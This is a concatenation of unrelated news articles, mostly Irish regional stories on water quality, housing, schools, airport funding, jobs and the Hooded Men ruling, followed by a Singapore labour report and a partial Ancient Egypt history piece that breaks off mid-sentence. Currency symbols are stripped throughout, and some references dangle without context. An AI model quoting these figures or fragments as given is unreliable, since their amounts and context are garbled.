Donnelly was born in March 1788 in Dublin. In addition to being a boxer, he also became well-known as a publican. According to author Patrick Myler in his 1976 book "Regency Rogue: Dan Donnelly, his life and legends," Donnelly was described as being something akin to a vigilante, and he apparently gained a reputation for keeping local criminals in check. He was also more negatively alleged by others to have been a gambler, a womanizer and a drunkard. Donnelly later died at the age of 31 on 18 February 1820, and has since become an urban hero, particularly among the people of Kildare. His dominant arm was notably later stolen and eventually retrieved by his fans from a surgeon, who asked them to keep the arm and encase it in red lead paint. They agreed, and it later ended up residing at The Hideout pub in Kilcullen for around 43 years until 1997. Although it was briefly displaced for some years, it was rediscovered in 2005 and has featured at a number of museums. The petition can be viewed here. 99.5 per cent of samples taken in 2020 across Irelands 740 public drinking water supplies are compliant for microbiological and chemical standards producing water that is safe to drink. That's according to the latest Environmental Protection Agency (EPA) Drinking Water Report, which was published today by the EPA. Irish Water (IW) explained in a statement: "Since 2014, IW has been working in partnership with Kildare County Council, to address water quality issues across the county." "We have built new drinking water infrastructure in towns and villages across the county, improving water quality and benefitting local communities." The organisation also said that it has also recently completed works in Leixlip to improve the water quality and safeguard the water supply for over 600,000 people in Kildare and the Greater Dublin Area. "Further progress has been made in 2021 with significant upgrades completed at Leixlip Water Treatment Plant, at Stillorgan Reservoir, and at Vartry Water Treatment plant." "These works will ensure over one million customers will receive a safe and secure supply into the future," IW added. Peter Thornton, Regional Operations Lead with IW, also commented on the findings: "Given the size and scale of investment needed to upgrade water treatment plants and the wider water network, IW is very pleased to achieve such a high compliance rate for the Irish public." "The report is clear, however, that much more remains to be done to secure water supplies into the future.... IW has plans underway to work with Local Authorities and other delivery partners to further enhance our ability to manage public water supplies to the required standards as set out in the Drinking Water Directives. "Irish Water have also rolled out critical training to all Local Authorities to ensure alarms and controls are in place and are operationally effective to ensure public health is protected now and into the future." He also told the Leinster Leader that Kildare is among the regions that receives its water supply from the Leixlip and Ballymore-Eustace plants, which he says are "monitor water 24/7, which means that good quality water is guaranteed." Mr Thornton also mentioned that, following the Ballymore Eustace water plant incident earlier this year, that the EPA has audited the site and has implemented a number of improvements, including increased critical training measures for staff members. Over 100,000 people were recently removed from at risk supplies in 2020 last year by IW. At the same time, the organisation invested 450 million in building or upgrading 58 Water Treatment Plants (WTP), including significant upgrades to the Lough Talt and Staleen WTPs. IW claims that these collectively addressed long running water quality risks for both THMs (which refers to chemicals which may be found in water that can treated with chlorine) and Cryptosporidium. A Senator has publicly welcomed the news that over 60,000 has been allocated to Kildare animal welfare groups, in a move which coincides with Animal Welfare Awareness Day 2021. In total, more than 3.7 million has been given to 98 animal welfare organisations throughout Ireland by the government. Fianna Fail Senator Fiona O' Loughlin said about the news: "I welcome the announcement of 60,750.00 to support animal welfare organisations in Kildare." "This funding will be split between Lovely Horse Rescue at Moyvally, and the KWWSPCA Animal Shelter in Oldtown, Athgarvan." The Kildare-South politician added: "Animals and pets can be a great addition to our families and our homes, but we need to ensure that everyone is taking adequate care of their pets and animals, and that our animal welfare organisations are sufficiently funded." She accompanied her statement with a photograph on her social media profiles, showing her at a cafe with a dog. In related news, Senator O' Loughlin was among a number of Kildare-South representatives who voiced their thoughts on a new school coming to County Kildare. The Irish branch of tech giant Huawei today awarded 10,000 in academic scholarships to two STEM students from Maynooth University through its 2021 ICT talent nurturing initiative. One of the largest scholarship programmes for STEM students in Ireland, a total of 250,000 in bursaries were awarded to fifty students from TU Dublin, UCD, Trinity College Dublin, DCU, UCC, UL, NUIG, Maynooth University, and Griffith College. Each student received a 5,000 scholarship through the company's Seeds for the Future programme. The successful students were selected based on their performance during this years initiative which took place online in October. Huawei said that its 7th Annual Seeds for the Future programme was Huaweis most successful yet, achieving a 333 per cent increase in applications from STEM students in Ireland. It also noted that over a third of participants were female STEM students, which is the highest number to date. Speaking during an online awards ceremony, Minister for Trade Promotion, Digital and Company Regulation, Robert Troy TD said: "Over the past two years, we have seen a seismic shift to the online world and with it the growing need to ensure society and our enterprise economy are equipped with the skills to navigate the digital landscape." "This is recognised across the government, and it is very welcome that industry leaders, such as Huawei, are supporting and complementing Government initiatives to build these critical skills." He continued: "The ICT industry is one of the most important sectors to Irelands economy and todays awards are a clear example of the talent and potential in Ireland. "Congratulations to all of the successful students - the future of Irelands ICT industry looks very bright." Awarding the students with the bursaries, Tony Yangxu, the CEO of Huawei Ireland, also said: "The standard of application for this years programme was outstanding and representative of the high-quality ICT professionals Irelands universities help produce." "Huawei is delighted to award Irish STEM students with a 5,000 scholarship to help them continue to develop their skills and knowledge." He added: "We are committed to investing in Irelands ICT future, including its future talent." Huawei has been in Ireland since 2004, and the company says that its business now serving over 3 million people and supporting over 860 direct and indirect jobs. The multinational corporation also works with a number of Irish third-level institutions, including Trinity College Dublin, Dublin City University, University of Limerick, University College Dublin, and University College Cork, all for the purpose of funding Irish research into video, artificial intelligence and cloud computing. Ceann Comhairle and local TD Sean O Fearghail said that the Minister for Education reassured a local delegation on Tuesday that temporary accommodation would be provided for students in South Kildare in September 2022. A statement from the Ceann Comhairle's office said: "Kildare South Oireachtas members, facilitated by my office and chaired by myself, met this afternoon with the Minister for Education and representatives of schools and parents in the Kildare, Newbridge and Curragh areas. "Under discussion with the minister was the delivery of the new school and the timeframe involved and critically, how students requiring places in September 2022 will be accommodated. "At that meeting, the department officials assured all in attendance that when it could be firmly established exactly how many students required additional accommodation for September 2022, this accommodation would be made available by the department, in modular buildings if necessary following consultation with KWETB and other local schools. "The Minister and the department guaranteed that no student in the area would be left without a school place in 2022. "In addition to this, the very well attended meeting discussed issues around the Magee Barracks site, the need for transport and the question of Educate Together patronage." Meanwhile, Dr Deirdre Keyes, Chief Executive of KWETB, welcomed the news that a site has been purchased by the Department of Education for a new state of the art post primary school facility for the mid/south Kildare Region. She said she especially welcomes the confirmation that the school will accommodate up to 1,000 students and will have four Special Education Needs (SEN) Units. Dr Keyes added: "The new school will be a multidenominational, coeducational Community College. "Curragh Post Primary will be a school for all and will provide parents and students with an exciting opportunity to avail of excellent educational opportunities in a contemporary holistic school setting. "The school will operate under the patronage of Kildare and Wicklow ETB. The ETB will work in partnership with local schools and key partners." In particular Dr Keyes said she looks forward to continued engagement with Educate Together as the school develops. Dr Keyes commended the work of local groups, public representatives, The Curragh Post Primary School, ETB and Department officials who have worked tirelessly over the last number of years lobbying for this much needed new school provision. TWINS, Mary and Archie came into the world together and have now gone to their eternal reward together. Mary McKie and Archie Brown, aged 89, from Ballynanty, Limerick, both passed away on Saturday. Canon Donal McNamara said it is very poignant for the two of them to go together. Isn't it unbelievable? It is extraordinary. I knew both of them well delightful people, said Canon McNamara. Mary's Funeral Mass took place at St Munchin's Church, Clancy Strand on Monday while Archie's funeral takes place at the same church this Wednesday. Canon McNamara told the Limerick Leader he had been bringing Holy Communion on the First Friday of the month to Mary for years. She would always tell me when I'd go that, I have a brother, Archie, he is my twin. They were very close, said Canon McNamara. Both Archie and Mary had failing health in recent times. Mary died peacefully in University Hospital Limerick. Archie, late of Bus Eireann, Roxboro, Athlunkard Boat Club and Shannon RFC, passed away peacefully at home surrounded by his loving family. On behalf of St Munchin's and St Lelia's Parish, Canon McNamara expressed his condolences to the families of Mary and Archie. They were both delightful, faith-filled people and extremely supportive of the parish in many, many ways. It was always a pleasure to meet with them and visit them. It is very poignant for the two of them to go together, said Canon McNamara. Mary was laid to rest in Mount St Oliver Cemetery on Tuesday. Archie's burial will take place in Mount St Lawrence (Extension) Cemetery. Countless tributes have been paid to the twins on rip.ie. Mary was described as a lovely lady; Archie an absolute gentleman. May they rest in peace. A Donegal County Councillor has apologised unreservedly to mica campaigner, Michael Doherty, for sending him a WhatsApp message containing vulgar and inappropriate language. In a statement to the media on Sunday, Cllr Frank McBrearty Jr (Independent) said: I would like to take this opportunity to unreservedly apologise for an off the cuff remark I made to Mr Michael Doherty [Mica Action Group PRO] in a private WhatsApp message. I am sincerely sorry for any hurt I caused to Mr Doherty or his family and for my use of vulgar and inappropriate language. When I made these remarks, it was not intended to cause any hurt to Mr Doherty or his family. I was trying to get him to listen to me about what the Government was doing to us here in Donegal, with this so-called 'Enhanced Scheme'. As Mr Doherty would say himself, they are only ordinary homeowners. I accept that is his honest opinion and I am certainly not blaming homeowners for being taken advantage of by this unjust Government, said Cllr McBrearty. Mr McBrearty said his WhatsApp message to Michael Doherty concerned the home of his elderly parents, which has tested positive for Pyrrhotite, Minor Pyrite, Rare Pyrite, Chalcopyrite and Marcasite. He said the message contained Test Suite C results on the Sulphide Attack on their home. Cllr McBrearty added: I also attached a second Test Suite C result, that of my first cousin's home, which has also been devastated by Sulphide Attack. Both these homes are also affected by extremely high levels of Free Muscovite Mica, due to no fault of their own. I never envisaged a private message would be shared on a social media platform in the way it was. However, this is no excuse for me sending it in the first place. My father's business premises are going to have testing carried out on them in the new year, that includes the flooding remediation works constructed by us at our own cost. My Parents are now retired and they were hoping to sell their business properties at some point. That prospect has now been put on hold due to concerns about deleterious materials and sulphide minerals contained in the concrete and concrete blocks. The same manufacturer supplied them with concrete and concrete blocks. My parents have no other choice but to have their properties tested, just like so many others in this man made scandal, said Cllr McBrearty. Cllr McBrearty completed his position paper titled: 'All Deleterious Materials and Sulphide Minerals Scandal: Republic of Ireland', this week. He is also preparing statements of claims on behalf of his parents and cousin, with his legal team, which will be submitted to the High Court. Cllr McBrearty said: We are issuing a case against the Irish state for its failure to protect our homes and properties and for not insuring that a self-regulatory concrete industry was being policed properly by Government and local authorities, including Donegal County Council. We hope that, if successful, there will be multiple cases following. Over the last number of months, the work which has gone into my position paper and uncovering the facts around the five mica houses in Buncrana purchased by Donegal County Council and for which it has not been held to account, has put horrendous pressure on me and my family, as I have put hundreds of man-hours into this investigation. I am only one man fighting to expose this systemic corruption. My passion for people rights and their civil rights can sometimes make me over passionate, with feelings of frustration, anxiety, fear and reacting too quickly and saying what I think before I think about what I am saying. This sometimes hurts people's feelings and is probably my biggest fault. Once again, I am sincerely sorry for any hurt I caused to Mr Doherty or his family, said Cllr McBrearty. Cllr McBrearty said the whole scandal had affected people's mental and physical health, including that of himself and his immediate family and wider circle. I am someone who fully understands this, he added, as I have suffered from mental and physical health problems over the years myself, especially from Post-Traumatic Stress Disorder (PTSD). I shared my own experience of this in May 2013 in the last month of my term as Mayor of the county. Sometimes I forget this and I have to remind myself to be more caring of people's situations. Not everyone can overcome what my family and I have personally endured in an injustice case, like the Mica / Deleterious Materials and Sulphide mineral scandal. As they say its OK not to be OK. No-one should anyone be ashamed of having this illness, just like any other. Finally, I want to reiterate my unreserved and sincere apology to Michael for the hurt I may have caused him and his family with my misguided comments on WhatsApp. I would like to wish Michael, his family and all the victims of this scandal, a safe and happy Christmas. Maybe the New year will bring changes to this unworkable scheme. Maybe 2022 will be a better one for everybody. Maybe the Government will see sense and give people a proper 100% redress grant scheme," concluded Cllr McBrearty. Fiat justitia ruat caelum: "Let justice be done though the heavens falls" Leitrim County Council has a shortage of land banks throughout the county and admitted it must purchase land to help meet social housing targets for the next five years. Councillors in the Ballinamore and Manorhamilton Municipal Districts were presented with an outline of the Council's Housing Delivery Action Plan 2022-2026 at their respective monthly meetings last Monday. Director of Services with responsibility for housing, Mary Quinn, explained to the members the targets which have been set out to them by Government for the next five years. The Government's Housing for All plan is a multi-annual and multi-billion Euro plan to improve Ireland's housing system over the next decade. Over the next five years of the plan, the Council has been set a target of 139 social housing units but have built in a contingency by providing for a target of 180 in that timeframe. The focus of the plan has moved from acquisitions to direct build and for that reason the Council now needs to increase it's land banks throughout the county, particularly where the greater demand lies. Cllr Enda McGloin queried what available land the Council has to build these houses on. He was told the Council has very limited options at the moment with Ms Quinn informing local representatives that the Council has exhausted all our land banks across the county. Cllr McGloin also asked if sufficient land is zoned for housing. He said he understood that it is not zoned for housing around Drumshanbo. Ms Quinn said the housing team will need to discuss zoning and other issues with the planning department, as zoning around towns and villages may need to be altered. Addressing members of the Ballinamore area, Ms Quinn explained Leitrim County Council has received 231 Local Authority Housing Group Scheme applications in 2021. This is in line with prior years where 240 applications were received in 2020 and 235 in 2019. She said the most sought after accommodation is one and two bed homes. Within the plan the Council has also set out to renovate old vacant houses. The Ballinamore Municipal District meeting was informed that single people receive social welfare pay between 30-35 per week on rent for social houses, while families pay approximately 60. To avail of the tenant purchase scheme to buy out a Council house, tenants need to have 20% of their income coming from an employer. Under the plan itself, the Council is required to set out the breakdown of how they are going to deliver those units and also the type of units to be provided, based on the demand. Ms Quinn reiterated to the Manorhamilton area councillors that demand is quite high for one and two bed units and that had to be reflected in their delivery of the units. Cllr Sean McDermott said there is no existing land banks in some areas, notably Rossinver, Kiltyclogher, Glenfarne, Lurganboy and Glencar, and a future land bank is needed. Sometimes you can encourage house building if you have a land bank, I think it's essential for the weaker areas, he said. It can be small, it doesn't have to be large, but it's important. It was there in the past but it seems to be diminishing by the year, he added. Cllr Justin Warnock said the local authority has no land bank in Tullaghan or Kinlough but yet it has bought a substantial number of houses in Kinlough in recent years. He said the demand for housing is getting greater. Ms Quinn agreed that for the Council to build in Kinlough it will have to purchase land. She explained the target figures are based on an assessment of social housing demand which is 177, excluding transfers. She said the social housing list generally remains in the range of 170 to 190 at any point with people coming on and dropping off the list. She said the Council will keep it under review on an annual basis that it is providing the units where the demand exists and the right type of units for that demand. Cllr Padraig Fallon said demand is increasing for family type dwellings being sought. We know that even in households with two incomes they can't get access to mortgages or properties. I'm delighted it is under annual review, he said. Cllr Felim Gurn said there is a strong demand for social housing in Manorhamilton but a big issue is the availability of the proper type of housing, for example for single mothers or a family of four. We need to earmark what we can do for people in that situation, he said. The Police Service of Northern Ireland (PSNI) was wrong not to investigate allegations of torture in the case of the Hooded Men, the Supreme Court has ruled. Delivering the judgment on Wednesday, Lord Hodge said the police decision taken after allegations were broadcast in an RTE documentary was irrational and should be quashed. The 14 hooded men were subjected to a series of controversial interrogation techniques when they were interned without trial by the Army in Northern Ireland in 1971. The techniques included hooding and being put in stress positions, forced to listen to white noise and deprived of sleep, food and water. They were also thrown from helicopters that were hovering close to the ground, having been told the aircraft were hundreds of feet in the air. The European Court of Human Rights previously ruled that while the men suffered inhumane and degrading treatment, it fell short of torture. The PSNI took the case to the UKs highest court after failing in Belfasts Court of Appeal to overturn a High Court ruling that found the police should revisit its decision to end its investigation into the treatment of the men. Lord Hodge said: There is no evidence that anyone involved in the authorisation or operation of the hooded mens ill-treatment has ever been the subject of criminal charges. Delivering his judgment, he referred to a 2014 RTE documentary about the hooded men case which included a British government memorandum, known as the Rees Memo, which referred to the use of torture and to its approval by UK ministers. Following the broadcast, the PSNI considered whether there was sufficient evidence to warrant a new investigation, but concluded there was not. Lord Hodge said: The court finds that the PSNIs decision taken on 17 October 2014 not to investigate further the allegation in the Rees Memo was based on a seriously flawed report, was therefore irrational, and falls to be quashed. Darragh Mackin, a solicitor for the majority of the hooded men, said: Todays decision is a landmark victory for the hooded men. Since 2014 they have actively contested the decision by the PSNI not to investigate the allegations of torture. It was always clear that the initial investigation by the PSNI was nothing more than a window dressing exercise. Over 100million in funding for airports across Ireland has been allocated to help tackle "the devastating impact" of Covid-19. That's according to Minister of State for the Department of Transport, Hildegarde Naughton, who made the funding announcement today. One hundred and eight million euro has been allocated to Donegal, Kerry, Ireland West Knock (IWAK), Dublin, Cork and Shannon airports. Fifteen million euro of which will target safety and security operations including traffic control, fire services and security. Minister Naughton said, "I fully recognise the devastating impact that Covid has had on our regional airports. This is why I am delighted to announce that the operational funding of 15 million will cover 100% of the cost of all eligible expenditure at Shannon, Cork, Donegal, Knock and Kerry airports in 2021 under the Scheme. This will go a long way towards enabling these airports to remain financially sustainable as they move beyond this current crisis and into 2022." "This funding will continue to compensate airports for the damage caused as a result of Covid and I am pleased to say that our smaller regional airports of Donegal, Knock and Kerry are being fully compensated for the damage caused by Covid to the maximum amounts allowable under this scheme." Donegal airport will receive 600,000, with Kerry receiving 2.2m, and 1.9m for IWAK. Dublin will receive a massive 79.6m, with Cork airport being allocated 13.7m and Shannon receiving 10.1m. The minister continued: "This funding also reinforces the Governments commitment to the aviation sector, by providing State airports with flexibility to roll out discounts on airport charges, with a view to supporting the recovery and restoration of strategic connectivity, including on long-haul routes, for Ireland." The funding is part of direct Exchequer supports to the airports with funding from the Regional Airports Programme 2021-2025, the Covid-19 Regional State Airports Programme 2021, as well as the Covid-19 Supplementary Supports Scheme for Irish Airports. It is in addition to almost 29million in grants already allocated to airports this year, bringing the total amount to 160million for 2021. LIMERICK has received a major boost with the announcement by BD that it plans to create more than 130 new jobs and invest 70 million in its R&D Centre of Excellence in the city. The investment in its R&D Centre of Excellence will further position the facility as a hub for the development of smart, secure connected health and infection monitoring solutions in clinical and non-clinical settings. As a result, the company - a leading global medical technology company - will add approximately 130 new, high-quality research and development positions in engineering and scientific disciplines such as software, electronics, hardware and immunology. The expansion of the facility in Castletroy will include a state-of-the-art laboratory, workspaces and technologies to support cutting-edge innovation. Commenting on the investment, which is supported by IDA Ireland, Tanaiste and Minister for Enterprise, Trade and Employment, Leo Varadkar said: I had the pleasure of visiting BDs facility in Drogheda last week to officially open the expanded site there, and Im really pleased today to see this further good news, which will see 130 new jobs created and 70m invested in the Limerick facility. Its incredible growth and a testament to the talent and dedication of the existing staff in both locations. I wish the Limerick team the very best of luck with this impressive expansion. Executive Vice President and Chief Technology Officer at BD, Beth McCombs, added: Our BD Research Centre Ireland plays an essential role in delivering products and solutions to improve biomedical discovery, the diagnosis of disease and the delivery of care for patients. Our partnership with the IDA has been vital to our success and continued expansion. Looking ahead, BD innovation is focused on integrated, digital solutions to empower the smart hospital, enable new care settings and improve chronic disease outcomes. Continuing to attract the best and brightest minds in Limerick and across Ireland will be critical to help BD deliver on our purpose of advancing the world of health. Speaking at the company's facility in Limerick, Minister for Trade Promotion, Digital and Company Regulation, Robert Troy (pictured, front below) also welcomed the investment: BD are one of the worlds leading MedTech companies and have a long and proud history in Ireland since 1964. This 70 million investment will result in 130 highly skilled new jobs in Limerick. Their continued expansion in Ireland is testament to the skills and talent here in Limerick and indeed Ireland. The research carried out here will improve healthcare and patients lives better for years to come. Established in 2017, the BD Research Centre Ireland facility was initially focused on product and software development, clinical research instrumentation and prototype development primarily for two businesses within the companys Life Sciences segment. Now celebrating its five-year anniversary, the site has grown to support six out of the companys nine business units with advances across the continuum of care. An integral part of the BD research ecosystem, the BD Research Centre Ireland has grown to house centres of excellence in highly relevant specialized disciplinessuch as information security, bio-compatibility and toxicology. Padraig Fitzgerald, Senior R&D Director for BD, said: Our associates in Ireland play a significant role in advancing solutions across our portfolio, and weve added 125 full-time roles in Research Centre Ireland since March 2020 to further our impact. With the 130 additional roles and expanded facilities announced today, well be able to further tap into Irelands robust talent pool to accelerate innovation fundamental to our growth strategy. CEO of IDA Ireland Martin Shanahan said: Todays announcement by BD, the second announcement for its Irish operations in the past week, demonstrates this global organisations commitment to and confidence in Ireland, where its had a presence since 1964. The expansion of BDs Research Centre Ireland facility, first established in Limerick five years ago, is welcome news and further strengthens the Mid West Regions established R&D cluster. I wish BD Limerick every success with this announcement. Around 350 people are currently employed by BD in Limerick. UL HOSPITALS has announced an extra walk-in Covid-19 vaccination clinic will take place at the vaccination centre in Limerick this Wednesday afternoon. The additional clinic for those aged over 50, which will run from 1pm to 6pm, has been arranged in response to the significant demand for Covid-19 booster vaccines and the increased prevalence of the Omicron variant. "There is no appointment required but this clinic is strictly for the 50-69 age group. Anyone attending today should note that 90 days must have passed since you received your Dose 2 vaccine. Anyone who had the single-dose Janssen vaccine, must wait at least three months before receiving a Booster dose," said a spokesperson for UL Hospitals who added that anyone who has had a Covid-19 positive result in the last six months should not attend for a booster vaccine. Another previously announced walk-in clinic will take place between 12.30pm and 6.30pm on Thursday while further booster clinics will take place on Saturday (1pm - 6pm) and Sunday (8.30am-6pm). Separately, a walk-in clinic will take place between 2pm and 7pm on Friday for those who wish to receive a Pfizer Dose 1 or Dose 2 vaccine. As with other vaccine clinics, anyone attending any of the walk-in clinics should bring their vaccine record card, and also bring identification. People attending the walk-in clinics in Limerick are being advised that a free shuttle-bus service runs daily between the South Court Hotel in Raheen and the vaccination centre every half-hour from 8am to 7.30pm. Limited parking is available on-site and there is additional parking at the nearby former Moloneys Garage at Punchs Cross (see map below). A number of walk-in vaccination clinics will also take place at the vaccination centres in Ennis and Nenagh over the coming days. Please allow ads as they help fund our trusted local news content. Kindly add us to your ad blocker whitelist. If you want further access to Ireland's best local journalism, consider contributing and/or subscribing to our free daily Newsletter . Support our mission and join our community now. THE KEMMY Business School at the University of Limerick has been recognised as one of the world's top business schools. The KBS is now in the top elite 1% of business schools worldwide as it has achieved "triple-accreditation". The KBS has been accredited by the prestigious EFMD Global quality system (EQUIS) adding to its existing international accreditations the Association to Advance Collegiate Schools of Business (AACSB) and the Association of MBAs (AMBA). Each of the three accreditation evaluation processes examine each business school against international standards in terms of governance, programmes, students, faculty, research, ethics, responsibility and sustainability, and engagement with the world of practice. KBS is the only business school outside of Dublin to achieve the accolade and the third Irish business school to be triple accredited. Professor Finbarr Murphy, Dean of the Kemmy Business School said "We are immensely proud of becoming a triple accredited business school, which is testament to our continued focus on academic excellence and innovation. "It clearly illustrates the strong calibre of our business graduates, our connections to industry, and our global outlook." Professor Murphy continued: "With this triple award the Kemmy Business School is recognised as a central hub for international excellence in all aspects of business education and research. "The awards build upon our growing international network connections with similarly accredited schools worldwide, which will further add to the international vibrancy of the school. "The business school has evolved to be at the forefront of international business education, delivering world leading business programmes UL President Professor Kerstin Mey welcomed the announcement saying: Achieving triple accreditation is really the top of the quality standard bar for business schools worldwide. "We now join a group of elite business schools committed to delivering excellence in business education, research and impact." Mayor Daniel Butler said: This is wonderful news for the Kemmy Business School as the triple accreditation confirms its commitment to the highest quality of teaching and research. "In becoming one of the top one percent of business schools in the world, the KBS can leverage this standing when it comes to attracting more students and researchers to study in Limerick. CONCERNS have been expressed that the proposed development of a new town on lands adjacent to the University of Limerick will impact ongoing developments in the city centre. A senior official at Limerick City and County Council has confirmed its engaging with UL and Clare County Council which is looking to establish a strategic development zone (SDZ) which would be a 200-acre extension of the existing campus. While no formal plan has been published, its understood the development will include residential, academic and high-end retail opportunities as well as a marina area. Concerns about the proposed development were raised at this weeks meeting of the Economic Development, Enterprise & Planning Strategic Policy Committee. We believe the development will further remove the university from the life of the city rather than move the two together and it will inhibit and delay the welcome development of the city centre component of the universitys development, said Brian Thompson of the Limerick Public Participation Network In response, Vincent Murray, Acting Director of Economic Development & Enterprise said the local authority has received some assurances from UL that it is prioritising the development of the former Dunnes Stores building at Sarsfield Street. Their main priority is the development of a campus in the city centre and they hope to move that along over the next 12 months, he said, adding that UL has advised the council that it intends to seek interest from industry to build academies of learning on the north campus in County Clare. While further details are awaited, Mr Murray told the meeting the proposed development is an issue of concern for the local authority, traders in the city centre and Limerick Chamber. From a local authority point of view, we are trying to prioritise the development of the campus in the city centre because it will bring in a certain amount of life and we would hope that these academies of learning, where they are suitable for the city centre can be located in the city centre, he added suggesting other sites will be made available, if required. Further concerns were raised in relation to the existing road network, the risk of flooding and public transport. THE Shannon Group has welcomed the allocation of more than 10m in funding from the Department of Transport. Minister-of-State Hildegarde Naughton has confirmed the monies have been allocated under the Covid-19 Regional State Airports Programme 2021 and the Covid-19 Supplementary Supports Scheme for Irish Airports which was recently approved by the European Commission. Ms Naughton says the latest funding is recognition of the impact that Covid has had on regional airports and that she is confirmed it will help ensure airports such as Shannon remain financially sustainable as they move beyond this current crisis and into 2022. "This funding also reinforces the Governments commitment to the Aviation sector, by providing State airports with flexibility to roll out discounts on airport charges, with a view to supporting the recovery and restoration of strategic connectivity, including on long-haul routes, for Ireland," she stated. Commenting of the latest allocation of government funding, Mary Considine, CEO of the Shannon Group said: The aviation sector including airports have been at the epicentre of the devastation caused as a result of the pandemic. As we focus on rebuilding connectivity, we warmly welcome the government support announced by Minister Naughton." Ms Considine says the allocation of more than 23m to Shannon Airport during 2021, will assist with its recovery from the pandemic and its efforts to rebuild air connectivity for the region. Singapore lost jobs at a slower pace in the third quarter than in the second quarter, and the domestic labor market is expected to continue to recover for the rest of 2021 and into 2022, albeit unevenly across sectors, the Manpower Ministry said Wednesday. The countrys total employment excluding migrant domestic workers fell 2,400 in the third quarter, compared with a 16,300 decline in the previous quarter. This was because resident employment rose strongly by 19,100 in the third quarter while nonresident employment fell 21,500, a pace similar to that in the prior quarter, the ministry said. The number of retrenchments dropped to 1,900 in the third quarter from 2,340 in the second quarter. Meanwhile, the number of job vacancies rose to 98,700 in September from 92,100 in June on a seasonally adjusted basis, while the seasonally adjusted unemployment rate fell 0.1 percentage point from August to 2.6% in September, the data showed. Subscribe to Mint Newsletters * Enter a valid email * Thank you for subscribing to our newsletter. Ancient Egypt in North Africa was one of the most powerful and influential civilizations in the region for over 3,000 years, from around 3100 B.C to 30 B.C. It left behind numerous monuments, documents and works of art that continue to be studied by scholars today. However Egyptian civilization existed long before this period, and it has survived and flourished since. While the civilization's rulers, language, writing, climate, religion and borders have changed many times over the millennia, Egypt still exists as a modern-day country. Ancient Egypt was closely connected with other parts of the world, bringing in and exporting goods, religions, food, people and ideas. At times ancient Egypt ruled territory outside the modern-day country's border, controlling territory in what is now Sudan, Cyprus, Lebanon, Syria, Israel and Palestine. The country was also occupied by other powers in ancient times the Persians, Nubians , Greeks and Romans all conquered Egypt at different points. A number of names were used for Egypt. A popular ancient name for Egypt was "Kemet," which means the "black land." Scholars generally believe that this name derived from the fertile soil that was left over when the Nile flood receded in August. The Nile flooded between June and August each year, and the fertile soil it created was vital to ancient Egypt's survival, with fertility playing an important role in Egyptian religion. The burial of Tutankhamun in which his penis was mummified is but one example of how important fertility was in the rituals and beliefs of the ancient Egyptians. The country's ancient rulers are referred to today as "pharaohs," although in ancient times they each used a series of names as part of a royal titular, wrote Ronald Leprohon, an Egyptology professor at the University of Toronto, in his book " The Great Name: Ancient Egyptian Royal Titulary " (Society of Biblical Literature, 2013). The word pharaoh originates from the Egyptian term "per-aa," which means "the Great House," Leprohon wrote. The term was first incorporated into a royal title during the rule of Thutmose III (reign circa. 1479 to 1425 B.C.), Leprohon wrote. Prehistory (Image credit: John Zada / Alamy ) When exactly early hominids first arrived in Egypt is unclear. The earliest migration of hominids out of Africa took place almost 2 million years ago, with modern humans dispersing out of Africa about 100,000 years ago. Egypt may have been used to reach Asia in some of these migrations. Villages dependent on agriculture began to appear in Egypt about 7,000 years ago. The civilization's earliest written inscriptions date back about 5,200 years and reveal information about the early rulers of Egypt, Live Science previously reported . These early rulers include Iry-Hor, who, according to the inscriptions, founded Memphis, a city that served as Egypt's capital for much of its history. The inscriptions also document a queen named Neith-Hotep, who ruled as a regent for a young pharaoh named Djer. sometime In the late predynastic period. How and when ancient Egypt was united into one kingdom is a matter of debate among archaeologists and historians. One possibility is that a number of smaller states coalesced into two kingdoms Upper and Lower Egypt and then these two kingdoms united. After Egypt was united pharaohs were often depicted wearing two crowns one for Lower Egypt and another for Upper Egypt. Egypt's climate was much wetter in prehistoric times than it is today, and some areas that are now barren desert were once fertile. One famous archaeological site where this can be seen is at the "cave of swimmers," as it is called today, on the Gilf Kebir plateau in southwest Egypt. The cave is now surrounded by miles of barren desert; however, it has rock art showing what some scholars interpret as people swimming. The exact date of the rock art is unclear, although scholars think that it was created in prehistoric times. Here, one of the papyri in the ancient logbook, which documented the construction of the Great Pyramid of Giza. (Image credit: Egyptian Ministry of Antiquities) Egypt's 30 dynasties Ancient Egypt's history has traditionally been divided into 30 (or sometimes 31) dynasties. This tradition started with the Egyptian priest Manetho, who lived during the third century B.C. His accounts of ancient Egyptian history were preserved by ancient Greek writers and, until hieroglyphic writing was deciphered in the 19th century, were among the few historical accounts that scholars could read. Modern-day scholars often group these dynasties into several periods. Dynasties one and two date back around 5,000 years and are often called the "Early Dynastic" or "Archaic" period. The first pharaoh of the first dynasty was a ruler named Menes (or Narmer, as he is called in Greek). He lived over 5,000 years ago, and while ancient writers sometimes credited him as being the first pharaoh of a united Egypt, however archaeological research suggests that this is not true. Recently found inscriptions tell of rulers such as Djer and Iry-Hor who appear to have ruled earlier and other finds have been made which suggest that there were pharaohs before Menes who ruled a united Egypt, Live Science previously reported . Scholars sometimes refer to these pre-Menes rulers as being part of a "dynasty zero." A Bedouin on a camel by the Pyramids of Khafre and Menkaure at the Giza Necropolis in Egypt. (Image credit: Adrian Pope) Dynasties three to six date from roughly 2650 to 2150 B.C. and are often grouped together into a time period called the "Old Kingdom" by modern-day scholars. During this time pyramid-building techniques were developed and the pyramids of Giza were built. Papyri that are still being deciphered suggest that groups of professional workers sometimes translated as "work gangs" played a major role in the construction of the pyramids, as well as other structures. From 2150 to 2030 B.C. (a time period that encompassed dynasties seven to 10 and part of 11) the central government in Egypt was weak and the country was often controlled by different regional leaders. Why the Old Kingdom collapsed is a matter of debate among scholars, with research indicating that drought and climate change played a significant role. During this time, cities and civilizations in the Middle East also collapsed, with evidence at archaeological sites indicating that a period of drought and arid climate hit sites across the region. The 12th, 13th and part of the 11th dynasties are often called the "Middle Kingdom" by scholars and lasted from around 2030 to1640 B.C. At the start of this dynasty, a ruler named Mentuhotep II (who reigned until about 2000 B.C.) regained control of the whole country. Pyramid building resumed in Egypt, and a sizable number of texts of literature and science were created. Among the surviving texts is a document now known as the Edwin Smith surgical papyrus, which records a variety of medical treatments that modern-day medical doctors have hailed as being advanced for their time. Dynasties 14 to 17 are often grouped together as the "Second Intermediate Period" by modern-day scholars. During this time, the central government again collapsed in Egypt, and a group called the "Hyksos" rose to power, controlling much of northern Egypt. While the Hyksos may have originally been from the Levant (an area that encompasses modern-day Israel, Palestine, Lebanon, Jordan and Syria), research indicates that they were already in Egypt at the time the government collapsed. One gruesome find from this time period is a series of severed hands, which were found at a palace at the city of Avaris, the capital of Hyksos-controlled Egypt. The severed hands may have been presented 